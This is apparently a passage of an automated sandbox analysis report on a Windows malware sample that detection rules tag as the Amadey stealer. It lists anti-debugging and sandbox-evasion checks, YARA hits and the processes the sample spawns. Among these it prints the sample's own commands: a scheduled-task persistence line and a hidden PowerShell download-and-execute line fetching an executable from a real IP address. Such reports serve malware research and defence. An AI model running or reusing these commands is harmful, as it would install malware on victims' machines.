Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_006F9642
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 0_2_006F979D
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose, 0_2_006F9B2B
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006F5C97 FindFirstFileW,FindNextFileW,FindClose, 0_2_006F5C97
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_006842DE
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 180000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread delayed: delay time: 30000 Jump to behavior
Source: skotes.exe, skotes.exe, 00000013.00000002.3380831318.0000000000E8B000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE, 0000000B.00000003.2211005963.0000000001494000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}h
Source: mshta.exe, 00000008.00000002.2157697425.00000178E3D27000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: powershell.exe, 00000006.00000002.2184329689.0000000006FCA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\l
Source: powershell.exe, 00000009.00000002.2299092908.000001305D897000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSIdRom&Ven_NECVMWar&Prod_VMware_
Source: powershell.exe, 00000009.00000002.2299092908.000001305D883000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: skotes.exe, 00000013.00000002.3380192255.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000009.00000002.2299092908.000001305D883000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: mshta.exe, 00000008.00000002.2157697425.00000178E3D27000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE, 0000000B.00000002.2241963594.0000000000DFB000.00000040.00000001.01000000.0000000B.sdmp, TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE, 0000000C.00000002.2305433391.0000000000DFB000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000D.00000002.2282845499.0000000000E8B000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 0000000E.00000002.2291195771.0000000000E8B000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000013.00000002.3380831318.0000000000E8B000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: skotes.exe, 00000013.00000002.3380192255.0000000000A18000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW"
Source: powershell.exe, 00000006.00000002.2184991880.0000000007059000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE System information queried: ModuleInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Code function: 11_2_052D0DC6 rdtsc 11_2_052D0DC6
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006FEAA2 BlockInput, 0_2_006FEAA2
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006B2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_006B2622
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_006842DE
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A4CE8 mov eax, dword ptr fs:[00000030h] 0_2_006A4CE8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CC652B mov eax, dword ptr fs:[00000030h] 19_2_00CC652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Code function: 19_2_00CCA302 mov eax, dword ptr fs:[00000030h] 19_2_00CCA302
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 0_2_006E0B62
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006B2622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_006B2622
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter, 0_2_006A083F
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A09D5 SetUnhandledExceptionFilter, 0_2_006A09D5
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 0_2_006A0C21

HIPS / PFW / Operating System Protection Evasion
barindex
Yara detected Powershell download and execute
Source: Yara match File source: amsi32_5912.amsi.csv, type: OTHER
Source: Yara match File source: amsi64_2436.amsi.csv, type: OTHER
Source: Yara match File source: Process Memory Space: mshta.exe PID: 3084, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 5912, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: mshta.exe PID: 3184, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 2436, type: MEMORYSTR
Contains functionality to execute programs as a different user
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E1201 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock, 0_2_006E1201
Contains functionality to launch a program with higher privileges
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006C2BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW, 0_2_006C2BA5
Contains functionality to simulate keystroke presses
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006EB226 SendInput,keybd_event, 0_2_006EB226
Contains functionality to simulate mouse events
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_007022DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event, 0_2_007022DA
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn I4T8vmamOSJ /tr "mshta C:\Users\user\AppData\Local\Temp\iExzqhyV9.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE "C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE "C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE" Jump to behavior
Source: C:\Users\user\AppData\Local\TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree, 0_2_006E0B62
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006E1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid, 0_2_006E1663
Source: PUDNz69qBQ.exe Binary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: PUDNz69qBQ.exe Binary or memory string: Shell_TrayWnd
Source: skotes.exe, skotes.exe, 00000013.00000002.3380831318.0000000000E8B000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 0Program Manager
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006A0698 cpuid 0_2_006A0698
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006DD21C GetLocalTime, 0_2_006DD21C
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006DD27A GetUserNameW, 0_2_006DD27A
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006BB952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free, 0_2_006BB952
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_006842DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo, 0_2_006842DE

Stealing of Sensitive Information
barindex
Yara detected Amadey
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Yara detected Amadeys stealer DLL
Source: Yara match File source: 13.2.skotes.exe.c90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 19.2.skotes.exe.c90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.skotes.exe.c90000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.TempZILI90OMJCNAFQFTDS7MEORWXLXSKGBX.EXE.c00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000013.00000002.3380692665.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2305233285.0000000000C01000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2291105783.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2282631312.0000000000C91000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2241822249.0000000000C01000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
OS version to string mapping found (often used in BOTs)
Source: PUDNz69qBQ.exe Binary or memory string: WIN_81
Source: PUDNz69qBQ.exe Binary or memory string: WIN_XP
Source: PUDNz69qBQ.exe Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: PUDNz69qBQ.exe Binary or memory string: WIN_XPe
Source: PUDNz69qBQ.exe Binary or memory string: WIN_VISTA
Source: PUDNz69qBQ.exe Binary or memory string: WIN_7
Source: PUDNz69qBQ.exe Binary or memory string: WIN_8
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_00701204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket, 0_2_00701204
Source: C:\Users\user\Desktop\PUDNz69qBQ.exe Code function: 0_2_00701806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 0_2_00701806
windows-stand
Behavior
Click here to start
Slideshow Behavior Animation
Hide Legend

